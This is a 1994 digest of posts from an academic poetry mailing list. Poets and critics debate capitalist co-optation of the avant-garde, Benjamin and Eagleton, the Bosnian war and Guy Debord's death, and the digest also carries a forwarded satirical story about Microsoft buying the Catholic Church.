> If they can place your revolutionary artefacts in their banks then that means only one thing: not that you were not iconoclastic or experimental enough, but that either your art was not deeply enough rooted in a revolutionary political movement, or it was, but that this mass movement failed. How idealist to imagine that _art_, all by itself, could resist incorporation! The question of appropriation has to do with politics, not with culture; it is a question of who is winning at any particular time. If _they_ win, continue to govern, then it is no doubt true that there is nothing which they cannot in principle defuse and contain. If _you_ win, they will not be able to appropriate a thing because you will have appropriated them. The one thing which the bourgeoisie cannot incorporate is its own political defeat. (372)

This of course recalls Benjamin's "and the enemy has not ceased to be victorious" (in "Theses")....

As it evidently was for Eric, the "recuperation" of punk was a formative event in my own intellectual trajectory-- a lesson learned. What I didn't know at 16 was the history of similar recuperations--including that of the avant-garde. But I can't think of anyone in G2 who doesn't at this point have the lesson learned by heart: the question is what to do with the knowledge.

My thinking is that the indispensable element of the avant-garde project is not "experiment" so much as what that term presupposes: autonomy. The historical a-gs saw the bourgeoisie as the greatest threat to their autonomy; today's

avant-garde recognizes the systemic nature of that threat--i.e. the fact that capitalism is more than the sum of "shockable" (concrete) members of the bourgeoisie. From the 50s to the 70s "the establishment" provided a homologous "other."

The avant-garde project (which, as I think Paul Hoover suggested in his recent post, is not to be abandoned but further radicalized) cannot honor its internal drive towards autonomy without running into capitalism as its fundamental obstacle. Anti-capitalism is partially inscribed in its history, and generally inscribed in its current conditions of possibility.

Anyway, some thoughts--obviously too bluntly, too hurriedly stated.

Steve

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3. Steven Howard Shoemaker

Re: Benjamin/Bryher

Thu 1 Dec 1994

The second sentence of this oft-quoted passage from Benjamin's Theses on the Philosophy of History becomes rather luminous in light of the list's recent speculations on B's "last days":

There is no document of civilization that is not
at the same time a document of barbarism. *And just
as such a document is not free of barbarism, barbarism
taints also the manner in which it was transmitted
from one owner to another.* [emphasis added]

B. is talking, of course, about the way an unreflective historicism tends to hold aloft the "spoils" of the "victors." But the flip side of his thesis, one imagines, wld have to engage the *dis*appearance of the documents of the defeated...

steve shoemaker

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4. Tenney Nathanson

Re: On Walter Benjamin--forwarded from B.F.

Thu 1 Dec 1994

Merrill Moore was also one of Robert Lowell's psychiatrists: kind of an in-house job (not totally unlike Freud and the "K" family I guess, but STILL....) at that: Lowell's mother worked as Moore's secretary and she and Moore may I think the story is also have been lovers. Odd to link Benjamin to Lowell however tenuously (and not especially edifiying....)

thar she blows....

Tenney

↑ Index

5. Jeffrey Timmons

Re: THE THOUSAND-HEADED BEAST THAT IS CAPITALIST APPROPRIATION; OR, MILES DAVIS' ENDORSEMENT OF GAP . . . .

Thu 1 Dec 1994

What interests me in the discussion of Adorno and Benjamin, a marginal interest mind you, is how it has now become conflated with the issue of how to posit opposition--this in relation to Pape's and Evans' recent posts. Adorno, obviously believed avant-garde/modernism to be a form of resistance/critique of bourgeious (sp) culture; Benjamin (having only a familiarity with "The Work of Art . . .") seems if not to hold the same attitude (though obviously different) at least attuned to way in which technologies of capital had the capacity to empty Modernist culture/critique and re-produce them as so many commodities of exchange. It is interesting how this dilemma is still with us, dead, but still with us. Eagleton is perceptive on this point precisely because he points how those forms of culture/critique are forms produced by capital itself: and punk is an excellent example: if the sex pistols are any indication, their whole "project" was a commodity-form produced to feign resistance, but actually part of it and its processes. It destroyed, but in the name of capital--it simply reinscribed it. This, in order to move towards poetry, is a dilemma many modernists dealt with in their "experiments" with language--that is, attempting to use language in new and unusal ways in order to create/discover new meanings/senses; of course, if it wasn't dadaesque "non-sense," it had to use the language it had at hand. In other words, the modernists were particularly concerned with using an existing language in order to say something different (am I getting this out right?). And this, it seems to me, to be precisely the sort of dilemma that we are faced with in seeking not to become commercials; and perhaps an answer might lie (or lay) in that direction. Maybe not. What I am thinking, though, is that, for instance, writers of the Harlem Renaissance often made use of traditional forms but infused them with issues of otherness, with race matters (to echo Cornell West). This seems a dangerous strategy, but perhaps it is one and one only in an arsenal. Questions, highly underrated, seem also a way of avoiding subsumation to the mouth of this beast that consumes all to itself in order to create its song (ah, what a perversion that is. . . .).

Jeffrey Timmons

↑ Index

6. w.curnow
APB
Thu 1 Dec 1994

Can anyone provide some info on SAMUEL MENASHE? Penquin Books are reviving a contemporary poetry series they used to run publishing 3-packs of poets. My father (Allen) is in one forthcoming, along with Donald Davie (whom he knows about) and Samuel Menasche. He's never heard of SM, and when he asked me I had to say I had not either but I'd put out an APB if he liked.

Wystan Curnow

↑ Index

7. Tenney Nathanson
Re: The Advert-Garde
Thu 1 Dec 1994

Re Steve Evans' citation of Eagleton on cooptation being a function of who does or doesn't win the (a) revolution: seems right in its way, but the Jameson (pomo book) which it ignores seems righter: that something has changed in relation of base to superstructure ("implosion" Jameson calls it after Baudrillard) which alters the status of cultural objects; and (implicitly) that this alteration is not simply solved toot court by the right side winning something. Such that: the alteration ought itself to be part of what the art work takes up (or takes down).

↑ Index

8. Ron Silliman
Cybersubstantiation
Fri 2 Dec 1994

OFFICE MEMO Cybersubstantiation Date: 12/1/94
>From: Newswire Mailing
To: IS Daily News Services for Executives
Cc: Newswire Mailing
Subject: MICROSOFT: Bids to Acquire Catholic Church
Date: Tuesday, November 29, 1994 7:16AM

MICROSOFT Bids to Acquire Catholic Church

By Hank Vorjes

VATICAN CITY (AP) -- In a joint press conference in St. Peter's Square this morning, MICROSOFT Corp. and the Vatican announced that the Redmond software giant will acquire the Roman Catholic Church in exchange for an

unspecified number of shares of MICROSOFT common stock. If the deal goes through, it will be the first time a computer software company has acquired a major world religion.

With the acquisition, Pope John Paul II will become the senior vice-president of the combined company's new Religious Software Division, while MICROSOFT senior vice-presidents Michael Maples and Steven Ballmer will be invested in the College of Cardinals, said MICROSOFT Chairman Bill Gates.

"We expect a lot of growth in the religious market in the next five to ten years," said Gates. "The combined resources of MICROSOFT and the Catholic Church will allow us to make religion easier and more fun for a broader range of people."

Through the MICROSOFT Network, the company's new on-line service, "we will make the sacraments available on-line for the first time" and revive the popular pre-Counter-Reformation practice of selling indulgences, said Gates. "You can get Communion, confess your sins, receive absolution -- even reduce your time in Purgatory -- all without leaving your home."

A new software application, MICROSOFT Church, will include a macro language which you can program to download heavenly graces automatically while you are away from your computer.

An estimated 17,000 people attended the announcement in St Peter's Square, watching on a 60-foot screen as comedian Don Novello -- in character as Father Guido Sarducci -- hosted the event, which was broadcast by satellite to 700 sites worldwide.

Pope John Paul II said little during the announcement. When Novello chided Gates, "Now I guess you get to wear one of these pointy hats," the crowd roared, but the pontiff's smile seemed strained.

The deal grants MICROSOFT exclusive electronic rights to the Bible and the Vatican's prized art collection, which includes works by such masters as Michelangelo and Da Vinci. But critics say MICROSOFT will face stiff challenges if it attempts to limit competitors' access to these key intellectual properties.

"The Jewish people invented the look and feel of the holy scriptures," said Rabbi David Gottschalk of Philadelphia. "You take the parting of the Red Sea -- we had that thousands of years before the Catholics came on the scene."

But others argue that the Catholic and Jewish faiths both draw on a common Abrahamic heritage. "The Catholic Church has just been more successful in marketing it to a larger audience," notes Notre Dame theologian Father Kenneth Madigan. Over the last 2,000 years, the Catholic Church's market

share has increased dramatically, while Judaism, which was the first to offer many of the concepts now touted by Christianity, lags behind.

Historically, the Church has a reputation as an aggressive competitor, leading crusades to pressure people to upgrade to Catholicism, and entering into exclusive licensing arrangements in various kingdoms whereby all subjects were instilled with Catholicism, whether or not they planned to use it. Today Christianity is available from several denominations, but the Catholic version is still the most widely used. The Church's mission is to reach "the four corners of the earth," echoing MICROSOFT's vision of "a computer on every desktop and in every home".

Gates described MICROSOFT's long-term strategy to develop a scalable religious architecture that will support all religions through emulation. A single core religion will be offered with a choice of interfaces according to the religion desired -- "One religion, a couple of different implementations," said Gates.

The MICROSOFT move could spark a wave of mergers and acquisitions, according to Herb Peters, a spokesman for the U.S. Southern Baptist Conference, as other churches scramble to strengthen their position in the increasingly competitive religious market.

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9. Ron Silliman
Re: On Walter Benjamin--forwarded from B.F.
Fri 2 Dec 1994

> *Merrill Moore was also one of Robert Lowell's psychiatrists...*

And Lowell was Grenier's first important teacher, thus from Benjamin (Walter) to Benjamin (Friedlander) is not such a long route (the Arendt to Mandel road being yet another path)....

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10. Ron Silliman
Exile on Main Street
Fri 2 Dec 1994

Steve is quite right about the reiteration of recuperation from one generation to the next. Rae Armantrout once noted that every few years she gets to show another set of students that they did not invent the attitude captured in the Rolling Stones' album "Let It Bleed" (the Stones didn't invent it either).

About 10 years ago, McDonald's had a campaign to promote its emerging breakfast menu (the idea of fast food breakfasts being one of the great market expansions of the past 15 years) that used the tag line of

DAWN GOOD FOOD

which, when I first saw it, felt entirely inspired by the writing of Bob Grenier's *Sentences* (just turn the W upside down), much in the same way that display ads in the 20th Century learned much from the use of the line break of WCW. Look at any newspaper circa 1910 and you will see the difference.

Grenier's distance from critical writing since founding This magazine a quarter century ago has always seemed to me an attempt to avoid the exact kind of cooptation that that McDonalds ad already has accomplished for him.

Obviously it would be nice to think that you and I are not implicated in the atrocities that occur in Bosnia or Rwanda or East Timor. But we are. We are directly and personally responsible. Each one of us.

That has always seemed to me to be the most immediate lesson of the war in Indochina.

The problem of dropping out (or any other metaphor of purist distain for the establishment's use of one's soul) is that there is no Out. Out is simply a safe place that In has set aside to keep Out from making too much unpleasant noise.

Ultimately, the problem of opposition is not one of how to avoid becoming a commercial. You can't. Trying to do so just wastes time. The question rather seems to be one of positioning what happens when/as you do. Here the most tragic situations have been those who apparently thought it would somehow "solve" something. Brautigan for example.

I find it intriguing, to say the least, to see where Kit Robinson, Tom Mandel & James Sherry, three of the poets of my own G1-hood who I take to be among its most serious political thinkers (Sherry's Nuclear Heritage is the most completely & directly political work any of us have accomplished, it seems, a project at once both of ambition and courage) have chosen to work. Certainly not the academy. None disdains the human drama of the marketplace. Sherry currently is employed by Phillip Morris, which ranks somewhat ahead of the Khmer Rouge in total number of fatalities caused over the past 40 years.

I've worked on ads that have appeared in the Wall Street Journal, NY Times, Forbes, Fortune and other bastions of liberal thought. And I work for a company whose clients include both houses of congress, and the departments of defense and justice. Not to mention most of the corporations one might hold an attitude about. Including Phillip Morris.

I think that what I (or James or Tom or Kit or anyone) gains far more from exposure to that world than from abstinance. This is where I think the alternative approach has many of the same problems I associate with anarchism, which is another mode of the Out position. (Anarchy is not a political system but rather a transitional state...and always one on the way to feudalism it would seem.)

I think that we are entering a very dark time politically. And a very dangerous one. Experimentation would at best be a distraction. But who wants to be distracted in a burning building?

↑ Index

11. Alan Golding

Call for panel chairs at Twentieth-Century Literature Conference

Fri 2 Dec 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

The U. of Louisville hosts its annual Twentieth-Century Literature Conference Th. Feb. 23-Sat. Feb. 25, 1995. We have just put together the program, and I'm seeking interested folks to chair panels (which typically follow an MLA-type format: 3 papers and discussion, hour-and-a-half). We need chairs in all areas of twentieth-century Anglophone and non-Anglophone lit., theory, and some film; there's a wide range of poetry panels to be chaired. Conference chairs get a reduced rate on registration ($40), and get to come to a good conference.

Guest readers/speakers at this year's conference include Charles Bernstein, Susan Rubin Suleiman, Maria Damon, and Robert von Hallberg. The program will include various G-1 and G-2 participants, as well as many others of differing alphabetical and numerical persuasions. If you're interested in coming, please contact me privately at [redacted], letting me know your areas of interest/expertise. Thanks.

Alan Golding

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12. braman sandra

Re: Cybersubstantiation

Fri 2 Dec 1994

I clipped a newspaper piece during the mid-1980s about the Catholic Church actually , yes , offering indulgences via telephone . . . . Sandra Braman

↑ Index

13. Jeffrey Timmons
Re: Exile on Main Street
Fri 2 Dec 1994

Ron Silliman wrote:

> *The problem of dropping out (or any other metaphor of purist distain for the establishment's use of one's soul) is that there is no Out. Out is simply a safe place that In has set aside to keep Out from making too much unpleasant noise.*
>
> *Ultimately, the problem of opposition is not one of how to avoid becoming a commercial. You can't. Trying to do so just wastes time. The question rather seems to be one of positioning what happens when/as you do. Here the most tragic situations have been those who apparently thought it would somehow "solve" something. Brautigan for example.*
>
> *I think that we are entering a very dark time politically. And a very dangerous one. Experimentation would at best be a distraction. But who wants to be distracted in a burning building?*

Yes, I agree, that the problem of opposition is not to avoid becoming a commercial but of positioning oneself "when/as" you do. . . but "waste" of time is also what others might consider a useful strategy. I shy from absolutes where opposition is concerned: I don't want to believe, whether it's naive or not, that "ultimately" we all become objects of appropriation. I want to reserve some possibility of . . . . Perhaps the building is burning, but can't we renovate afterwards?

Jeffrey Timmons

↑ Index

14. Marjorie Perloff
Re: Exile on Main Street
Fri 2 Dec 1994

I'm so glad Ron Silliman brought up Bosnia because I have been horrified by the lack of response on the part of friends, colleagues, etc. I mean: even as we sit around discussing the Spanish Civil War and which radicals did what, we don't protest the Serbs (who really are just like the Nazis) making a Bosnian wear a fez and taunting him just as the Nazis forced Jews to wear the swastika. (read Anthony Lewis's editorial in NY Times today). All that stuff about an "ancient feud we can't do anything about" is what people said about the Nazis too.

I refer members of the net to our mutual poetry friend Dubravka Duric, now back in Belgrade, as well as to my former student and now assistant prof of Slavic and Comp lit at U-Washington Seattle, Gordana Crnkovic, who is half Serb, half Croatian and has strong feelings as to what we as Americans might do Gordana (Goga) will be speaking at MLA on the East-european panel I've organized for Comp Lit--along with Ewa and Krzystof Ziarek and Marcel Cornis-Pops. Would any of you like to get together with Goga at MLA?. What ideas for action do others have, now that our government, the UN, and NAtO have totally sold out?

Marjorie Perloff

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15. Steven Howard Shoemaker

Re: Exile on Main Street

Fri 2 Dec 1994

I hate to be always being such the dissertator, returning to the "Objectivists" so obsessively, but Silliman's "burning building" reminds me of Oppen's statement from "The Mind's Own Place": "There are situations which cannot honorably be met by art, and surely no one need fiddle precisely at the moment that the house next door is burning. If one goes on to imagine a direct call for help, then surely to refuse it would be a kind of treason to one's neighbors. Or so I think. But bad fiddling could hardly help, and similarly the question can only be whether one intends, at a given time,to write poetry or not." Clearly, in Oppen's case, the "or not" has real weight. And since our general late captitalist malaise *does* seem to be taking an even more sinister turn these days, when do we reach the point where we find ourselves imagining(?) that "direct call for help"?

Everybody has to answer that one on their own i suppose. Oppen, for his part, doesn't presume to dictate a response. As for what art *can* do, he suggests that "the definition of the good life is necessarily an aesthetic definition" & quotes William Stafford about the poet trying "to find what the world is trying to be." Also suggests that "it is possible that a world without art is simply and flatly uninhabitable."

steve shoemaker

↑ Index

16. Tom Mandel
Re: Olson on net
Sat 3 Dec 1994

"Outward" i.e. a gesture. there is no outward; every vector has a direction. Please remember how often the explorers of the world were in fact rapacious, murderers. Looking for blood to shed. Every direction finds a terminus, arrow buried in target, and once arrived the party starts. I've quoted to the list, and now again, Hugh of St. Victor:

> It is a great source of
> virtue for the mind to
> learn, bit by bit, first to change
> about in visible and transitory
> things, in order then afterwards to
> relinquish them altogether. One
> who finds his homeland sweet is
> still a tender beginner; the one
> to whom every soil is as his
> native land is already strong; but
> perfect is one to whom the entire
> world is a place of exile.

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17. Steven Howard Shoemaker
experiwhat?
Sat 3 Dec 1994

Lab Note

yesterday
at 4:15
something
unseen and
linguistic
was like
that still
live frog I
saw once
flopping
openly out
w/ a slit
belly onto

the cold
tile floor

↑ Index

18. Charles Bernstein
Guy Debord Commits Suicide
Sat 3 Dec 1994

--Boundary (ID O3lfGI1F5OAu3opGgZ+Ogg)

PARIS (AP) -- Guy Debord, an avant-garde essayist who influenced the upheavals of French society in the late 1960s, has committed suicide. He was 62. Town officials in the village of Champot where Debord lived announced an investigation Thursday into the suicide. No details about how Debord took his life Wednesday were disclosed. Little-known outside France, Debord denounced what he called ``the show-biz society'' and declared that performing arts should be based on powerful emotions, passions and sexual desire. His ideas were influential among theoreticians and essayists who achieved prominence in the May 1968 student-led cultural revolt that shook French society.

****

Ben Friedlander passed this bulletin on to me from a clarinet list. I had not yet heard about Debord's death. Having just read the new and worthwhile translation of The Society of the Spectacle for my current graduate seminar, Debord has been very much on my mind. (The description of his work in the notice is quite odd.)

--Boundary (ID O3lfGI1F5OAu3opGgZ+Ogg)--

↑ Index

19. Pierre Joris
Ex(it) SITU
Sat 3 Dec 1994

On Wednesday Guy Debord decided to take a most final early retirement from this scene. "Doctor of Nothing," he called himself & was a poet, painter, film-maker, essayist, agitator, theoretician, founder of the IS (the Situationist International). Without his work, without the leaven of his thought, what is now called "les evenements de soixante-huit" i.e. the French part of the '68 uprising, would have been a dour affair. There will be ample time for considered panegyrics, appraisals of The Society of the Spectacle, & the business as usual of enshrinement & auto-da-fe.

Tonight's the time for a joyous not-so-finnicky wake, with a bottle of red wine & his last book,a very unconsidered & hilarious PANEGYRIQUE, in which he writes of his life-long rabelaisian penchants: "What I've done best is drink... I, who have had to read so often the most extravagent lies & insinuations concerning myself, or the most unjust critiques, am very surprised that thirty years & more have gone by all in all without a single one of those malcontents having tried, even implicitly, to use my drunkeness as an argument against my scandalous ideas." Tomorrow we'll reread the books, look again at the films, re-argue his definitions of "situation," "derive," "detournement," "decomposition." Because, to "deturn" a famous line, "le siecle sera Debordian ou ne sera pas."

========== Pierre Joris | Dept. of English | "La poesie ne s'impose plus, elle s'expose." SUNY Albany | Paul Celan Albany NY 12222 | tel&fax:[redacted] | email: | "He who leaves a trace, leaves an abcess." [redacted]| Henri Michaux ==========

↑ Index

20. Jeffrey Timmons

Re: USA/UN/NATO Wash Their Hands Of Bosnia. . . . But They Don't Come Clean. . . .

Sat 3 Dec 1994

On Fri, 2 Dec 1994, Marjorie Perloff wrote:

> *What ideas for action do others have, now that our government, the UN, and NAtO have totally sold out?*

Silly as it might be, stating our solidarity with Bosnia and lodging our disagreement with the course of action (lack thereof) the US has taken would be a good start. There has been terribly little of either from artists, academics . . . at least that I've seen. Also, I'm not above inserting, when ever and where ever the opportunity presents itself, a reminder that there is a war in Europe--and that it does affect us, as has been dramatically stated here. What is our role--if any--as artists/academics (or whatever) in speaking out against such crimes? I don't want to speak for anyone but myself, but I feel I have a responsibility, if only to myself, to say SOMETHING when I am able. And, as an artist/academic, I have that privilege. I don't mind using it.

For What It's Worth,

Jeffrey Timmons

↑ Index

21. Paul Hoover x350

politics

Sun 4 Dec 1994

Glad to see Ron's post re: Exile on Main Street. There certainly is no "out" and you don't have to be Marxist to see it. I had the pleasure to hear a lecture by Amiri Baraka yesterday: "So that since the U.S. is an imperialist country, with a monopoly capitalist economic base, the institutions raised on that base, as well as the philosophies expressed within them, are in the main expressions of imperialism." The only thing that matters is the economic base, and without the moderating influence of a competing morality such as the church or local community, our economic life is focused on selfishness. It is in the interest of consumerism, therefore, to destroy traditional values including religious and/or ethnic values ("peasant traditions" in WCW's "For Elsie"). Relativism and indeterminacy (and alas the well-meaning avant-garde) apparently collaborate in this.

Like Lew Daly (apparently), I was raised in a German pietist tradition that argued against material possession and chose separation from the world. This separation worked primarily on the symbolic level, since inevitably one must trade with "Das English" as the early Brethren & Amish called them. My interest in poetry derives from that background. Good works, if not transcendence, through writing. But the desire for fame and office brings dominance back in, and we become little imperialists. Baraka was wonderful to hear and full of satiric fire. But the talk was given in an institutional setting (my working-class arts college in Chicago) on a grant from the Lilly Foundation and his fee for the day was $5,000. We all work out of an economic base that extends to poetic value. Inevitably, one poet is perceived to be "worth more" than another. Susan Howe and Nathaniel Mackey rise; someone else falls. We are currency, and what else is new?

It is possible to interpret multiculturalism as further ghettoization funded by the MacArthur and other foundations; it is masked, however, as "community building." Their goal is to bring enough marginal people into the high-tech middle class that revolution will not seem necessary. Meanwhile, as Andrei Codrescu wrote in a recent essay, the real revolution, the triumph of global capitalism, continues apace.

The American peasant, Williams saw in horror, has no traditions. Except perhaps his/her "television heritage."

The great ideological disaster of the last 25 years has been separatism. But how are potentially conflicting peasant traditions to live together? By cruising the same mall or watching an Arnold Schwarzenegger movie? Yes.

There will be two future cultures: those who primarily watch TV and those who primarily work in front of a computer screen. Everything will be mediated by light. For high art, one goes out to a "film."

Last night on TV (I dropped my cable and really miss it) that an orthodox rabbi from california likes to surf: good eye candy but under it a very cheap laugh. TV despises dignity, and consumerism hates seriousness. Peasant traditions still have some dignity left. We observe this dignity on PBS sponsored by some foundation. We are relieved and a little surprised that blood sacrifice of llamas still occurs in Bolivia. Disturbed by the violence, we turn to a sitcom.

We feel responsible for Bosnia because we imagine that we might turn our military dominance toward good works. But we are not at all in the post-colonial age. The control is still there, just not the troops. Nothing happens in Bosnia because powerful interests are a lot more committed to GATT, NAFTA, and consolidating global capitalism. They will deal with Bosnia only when it threatens trade, as we saw in the Gulf War.

Paul Hoover
[redacted]

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22. Joseph Conte
Re: politics
Sun 4 Dec 1994

The list might be interested to know of a compelling account of the Bosnian crisis--other than _Zlata's Diary_--by Slovenian poet Ales Debeljak, _Twilight of the Idols: Recollections of a Lost Yugoslavia_ (published by White Pine Press, Fredonia, NY).

Ales, who read this past fall in Buffalo, raises a number of questions about our intellectual commitment to multiculturalism from the perspective of a society where tolerence for other religious and ethnic identities has utterly collapsed. I recommend the book; too bad it hasn't sold (i.e. been promoted) as well as the cherubic Zlata.

Joseph Conte

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23. Alan Sondheim

Re: politics

Sun 4 Dec 1994

I would also like to recommend an issue/imprint of _Lusitania_ from 1993, For Za Sarajevo, with a great number of texts and articles, as well as Lebbeus Woods' War and Architecture; both are dual-language, by the way.

Alan

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24. James Sherry

Re: Exile on Main Street

Sun 4 Dec 1994

Long a proponent of the issues of engagement which Ron raises as opposed to the Senecan views espoused elsewhere, here, and in art circles in general about purity of purpose, I must say that I have gone from bad employer to worse. My current job is at Deutsche Bank has put me in the position of having to hold contradictory ideas more than ever (not that I would ever buy a Mercedes).

Acting in the drama has always been for me more amusing. But social change, being inevitable, requires less effort on the part of the individual that most suppose. For example, many of you know about a credit card company called Working Assets, an employee owned corporation that returns a portion of its income to not for profit organizations chosen by the people who use the credit card.

Now WA is getting into the phone business. Along with my new phone company goes several free calls a month to a politician: the dialectic in action. Here they have given us credit cards to control us and happily control goes both ways. This bisynchronous control is engagement. It is also the risk that many artists and thinkers will not take.

If we do not vote with guns, we may vote with our bank accounts. I suggest that Marjorie, Ron, and others who wish a point of view to be organized as well as Pat Robertson and IMF/World Bank need to start thinking about contemporary notions of what organization means. NOT just passing information back and forth...

The separation of information and meaning has given us new credentials. If we choose to use them we may make a mistake. If we choose not to use them we may not make much of anything.

Thanks Ron for the opportunity to open this issue.

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25. **jena**

Re: Exile on Main Street

Sun 4 Dec 1994

> *Acting in the drama has always been for me more amusing. But social change, being inevitable, requires less effort on the part of the individual that most suppose. For example, many of you know about a credit card company called Working Assets, an employee owned corporation that returns a portion of its income to not for profit organizations chosen by the people who use the credit card.*
>
> *Now WA is getting into the phone business. Along with my new phone company goes several free calls a month to a politician: the dialectic in action. Here they have given us credit cards to control us and happily control goes both ways. This bisynchronous control is engagement. It is also the risk that many artists and thinkers will not take.*

I would argue that "social change"/exchange is a bit more complicated than what a company like Working Assets would like its customers to think. I certainly like the idea of giving money to not for profits and getting free calls to politicians. However, Working Assets uses Sprint long distance lines. Right now Sprint is up before the NLRB on unfair labor charges. Sprint fired 235 Latina workers a week before they were going to vote in a union representation election (this is happening in San Francisco). If one really wants to take part in the "bisychronous control" that the idea of organized labor is built around, one will use AT&T, the only phone company that's allowed its workers to unionize.

> *If we do not vote with guns, we may vote with our bank accounts. I suggest that Marjorie, Ron, and others who wish a point of view to be organized as well as Pat Robertson and IMF/World Bank need to start thinking about contemporary notions of what organization means. NOT just passing information back and forth...*

Somehow this idea of "voting" through a particular consumer activity does not strike me as a gratifying political efficacy. Perhaps this is because I don't really have a bank account worth mentioning. I guess I'll have to figure something out with words.

Jena Osman

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26. Tenney Nathanson
Re: Exile on Main Street
Sun 4 Dec 1994

This is probably mendacious, but free phone time to the politician of your choice (him/her/ur self? or?) reminds me uncomfortably of Baudrillard on the poll. otoh purity surely isn't worth much.

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27. Mn Center For Book Arts
Re: politics
Mon 5 Dec 1994

Just a note, as I'm not certain if Paul Hoover's citation of the setting and fee for Amiri Baraka's lecture was a criticism of Baraka or the institution or just the state of the world. This is just to say that it is important, as Silliman notes, where one works, and where one strikes out for position or opposition. As a former participant in the Tucson Poetry Festival in Arizona, I helped arrange for Baraka to read and lecture, and the fee was far less (less than one fifth) of $5,000. The setting was not institutional (or at least not a big institution like a university or museum, rather a site rented a cut-rate by a small non-profit group in which no one is paid), the audience was about 300 for the reading; an overflow crowd heard the lecture. I believe that art/culture has a role to play in the community, and that unfortunately academic/institutional settings act as a filter which do not allow that role to be played.

That is but one reason why public reading series large & small, & independent presses, are so important. Not that they can't be made into a commercial, but new ones come along all the time and the positioning/oppositioning goes on.

charles

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28. Mn Center For Book Arts
Re: Exile on Main Street
Mon 5 Dec 1994

Jena Osman writes "I would argue that "social change"/exchange is a bit more complicated than what a company like Working Assets would like its customers to think. I certainly like the idea of giving money to not for profits and getting free calls to politicians. However, Working Assets uses Sprint long distance lines. Right now Sprint is up before the NLRB on unfair labor charges. Sprint fired 235 Latina workers a week before they were going to vote in a union representation election (this is happening in San Francisco)."

It is my understanding that Working Assets "leases" lines from Sprint. While I agree that social change & exchange is quite complicated and that there is likely no uncompromised position, I think it likely that everyone in this forum, as well as all commercial companies in America, either purchase or lease products or services from businesses and other corporate entities whose ethics could (and should) be questioned.

charles alexander

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29. Rodger Kamenetz
Re: Exile on Main Street
Mon 5 Dec 1994

I'm wondering if a connection can be made between the two recent threads--the earlier discussion of identification and identity within the poetry world and the more recent thread on politics. The first discussion seemed at times poignant, as members of various generations sought to identify themselves and place themselves in positions of prominence--with laments about displacement and loss of identity for some. Underlying the discussion was the reality that the "politics" of poetry is certainly pre-democratic, primarily feudal or courtly. I do not think that the truly prized commodity is money, prizes, etc. but rather prestige or honor-- and while one could use a market metaphor for this, the true operating system of poetry is not even as democratic as a market.The discussion of generational names, for instance, seemed to veer between a marketing strategy on the one hand and a rather heartfelt and therefore poignant desire for simple recognition -- "je veux qu'on me distingue". which is very far below Rimbaud's "je est un autre."The most revolutionary platform I could imagine for our poetry would be a return to pseudepigraphia and anonymity. Could the failure of poetry in our time to have a major audience on the scale Whitman dreamed of have anything to do with the disconnection between the office politics of the poetry world (feudal, courtier) and the larger society in which we live and function? All best, Rodger Kamenetz [redacted]

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30. Steve Evans
Shake Those Dirty Hands
Mon 5 Dec 1994

I appreciate the candor with which James Sherry and Ron Silliman have recently discussed their "positions" vis-a-vis corporate power, but I am

as suspicious of the subjective titillations of "holding contradictory ideas" (which cd easily mean: deceiving myself about the meaning of my actions) as I am of fantasies of a "pure outside."

Ron suggests that he and James and Kit Robinson and Tom Mandel have "gained more" from their engagements with corporate capitalism than they would have from "abstaining" from the "human drama of the marketplace." Since I gather that Ron has "gains" of other than a financial sort in mind when he writes this, I would be interested in knowing more about these gains. Is it a matter of gathering intelligence (so to speak) that informs one's oppositional work--one's poetic practice, one's political practice as a citizen, one's critique? Is it a matter of actually exercising counter-agency *within* the arena of corporate power, or of obedience in one domain being converted into dissidence in another?

I have to admit that the politics of occupational complicity do not strike me as especially viable--which is another way, I guess, of saying that the contradictions incurred along Ron and Jame's way(s) don't strike me as strongly "positioned" ones. (By the way, I intend no disrespect to the personal resonance such contradictions may have for the few people who experience them.) Nor do the "dialectics of the credit card" go very far toward redressing, eg., North-South relations.

There seems to me a difference between saying: (1) our attempt to curtail or abolish the power of capital has evidently failed, and the available "choices"--given this failure--are for the most part unacceptable ones that I nevertheless have to accept; and (2) my ability to actualize a radically ungeneralizable trajectory is in fact a measure of my political acuity and a sign of my superiority to those who "abstain" from "complicity."

The vacuity of "dropping out" is not proof of the acuity of checking in. Both smack of extreme voluntarism in light of the *structural* exclusions of global capitalism.

One final point, the implicit contrast in Ron's defense of market coercion (qua human drama) is to academia. Not overlooking the structural connections between the corporations and the universities, it does seem worthwhile to point out the obvious fact that whereas the corporations have *no* interest in Ron's or anyone else's poetic practice, the

universities do (and where that interest is not pursued,
it can at least be raised; which is not possible within
the context of Philip Morris, etc.).

Having said all of this, I remain interested in reading
more about Jame's "rethinking" of organization, and in
seeing more from Ron about the "gains" of dirtying one's
hands (one must adjust that metaphor, I think, in light
of the great keyboard of techno-capitalism: clean hands?).

Steve Evans

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31. Eric Selinger
Re: Exile on Main Street
Mon 5 Dec 1994

On Mon, 5 Dec 1994, Rodger Kamenetz wrote:

> *Could the failure of poetry in our time to have a major audience
> on the scale Whitman dreamed of have anything to do with the disconnection
> between the office politics of the poetry world (feudal, courtier) and
> the larger society in which we live and function?*

Isn't it pretty to think so? By which I mean, wouldn't it be nice if what
happened w/in "the poetry world" (which one?) and what happened in "the
larger society" (again) were married? Then we wouldn't have to wait so long to
find ourselves important, w/ "a major audience," an audience-of-scale. Alas,
there are two delightful minors on my comfortable suburban street who call out
when I walk by, "Hello, Poetry Man!" because they just love poetry, it's their
favorite subject in school (4th grade), and they depress me no end. By the time
they make it through high school, I suspect, they'll know the same two things
about poetry my freshmen do:

1) I don't understand it.
2) I don't like it.

And when some stray shmuck asks them, at the end of a survey course, to
choose the poem that's given them the most pleasure this semester and apply
Zukofsky's "Test of Poetry" to it--just what _were_ its pleasures in sight, sound,
& intellection--they'll be baffled. Like, no one's asked them about pleasure
since fourth grade. Like, don't you want me to tell you what it MEANS?

If there's a stumbling block placed in their path, we didn't put it there.

EMS

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32. William Lavender
Re: Exile on Main Street
Mon 5 Dec 1994

>>Like, no one's
asked them about pleasure since fourth grade. Like, don't you want me to
tell you what it MEANS?<<

Though surely pleasures are learned as rigorously as discursive genres. A poet recently told me he didn't read poetry for pleasure. "I mean lets face it," he said, "when it comes to pleasure, enjoyment, relaxation, I'd rather watch Terminator." There are pleasures that poetry strives to avoid, to unlearn, to counter.

And as for the decline in readership, In Memorium was the last bestseller, which which the queen kept on her bedside table, and maybe that's why. The market isn't as democratic as it appears.

I don't have any problem with reading poetry out of a sense of duty or whatever. Our only subject here has been ethics. Like the song from my youth said, "I feel like I owe it to someone."

↑ Index

33. Michael Boughn
Re: Exile
Mon 5 Dec 1994

Dear Tom:

